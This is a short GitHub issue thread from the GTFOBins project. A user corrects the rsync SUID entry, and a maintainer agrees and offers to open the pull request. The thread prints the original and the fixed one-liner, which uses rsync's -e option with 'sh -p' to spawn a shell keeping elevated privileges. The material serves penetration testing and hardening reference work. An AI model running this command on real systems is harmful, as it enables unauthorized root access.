GTFOBins.github.io
GTFOBins.github.io copied to clipboard
The SUID authorization command of the rsync command is incorrect; Missing - p parameter
Original command:
rsync -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
In "sh 1>&2 0>&2", the - p parameter inheritance permission is missing after the command sh; Causing the failure of power raising;
Modified command:
rsync -e 'sh -p -c "sh -p 0<&2 1>&2"' 127.0.0.1:/dev/null

Good catch! Feel free to file a PR if you want.
@Jpkie why close?
@Jpkie why close?
I thought that the author has been revised and I don't know what do you mean by said PR because I'm not often use a lot, don't know much about some terms. I'm sorry. I need to create an issue again? I am using translation software to communicate.
Sorry for the confusion, I meant that you're correct and if you want you can create a pull request if you like, so that you can contribute yourself to this project. But don't worry I can do that for you. :)
Sorry for the confusion, I meant that you're correct and if you want you can create a pull request if you like, so that you can contribute yourself to this project. But don't worry I can do that for you. :)
Thank you. If you could do this!:); )